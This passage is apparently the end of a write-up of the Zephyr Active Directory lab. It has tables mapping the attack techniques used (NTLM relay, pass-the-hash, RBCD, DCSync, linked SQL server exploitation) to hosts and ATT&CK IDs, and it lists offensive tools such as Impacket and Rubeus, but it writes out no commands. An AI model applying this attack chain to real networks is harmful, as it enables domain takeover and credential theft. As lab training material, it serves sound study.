| xp_cmdshell | ZPH-SQL01, ZPH-DB02 | T1059.003 |
| BloodHound enumeration | All domains | T1087.002 |
| ACL abuse (GenericAll) | sql_svc → svc_mgmt | T1222.001 / T1098 |
| NTLM relay attacks | Multiple machines (WebClient) | T1557.001 |
| Pass-the-Hash | Lateral movement | T1550.002 |
| Kerberos ticket manipulation | Cross-domain movement | T1558 |
| Inter-realm TGT | Domain trust crossing | T1558 |
| S4U2Proxy | Cross-domain service access | T1558 |
| RBCD | Multiple machines | T1558 |
| DCSync | All 3 domain controllers | T1003.006 |
| Multi-hop pivoting | Ligolo-ng throughout | T1090.001 |
| Linked SQL server exploitation | ZPH-SQL01 → ZPH-DB02 | T1505.001 |
Tools Used
| Tool | Primary Use |
|---|---|
BloodHound (bloodhound-python) | AD enumeration, attack path discovery |
Impacket (mssqlclient, changepasswd, secretsdump, GetUserSPNs, ntlmrelayx, ticketer, raiseChild, dacledit, rbcd, getST) | Swiss army knife for AD exploitation |
Ligolo-ng | Multi-hop pivoting (tun interface) |
NetExec / CrackMapExec | Quick enumeration, password spraying |
evil-winrm | Interactive WinRM sessions |
Rubeus | Kerberos attacks from Windows footholds |
Coercer | NTLM authentication coercion |
After Zephyr, I felt significantly more confident in my AD skills. The lab reinforced that the core of AD penetration testing is enumeration — BloodHound is your best friend, and running it after every privilege escalation is non-negotiable. If you can complete Zephyr, you have the foundation for more advanced labs like Offshore, RastaLabs, and Cybernetics. Pure AD, no mercy, all learning.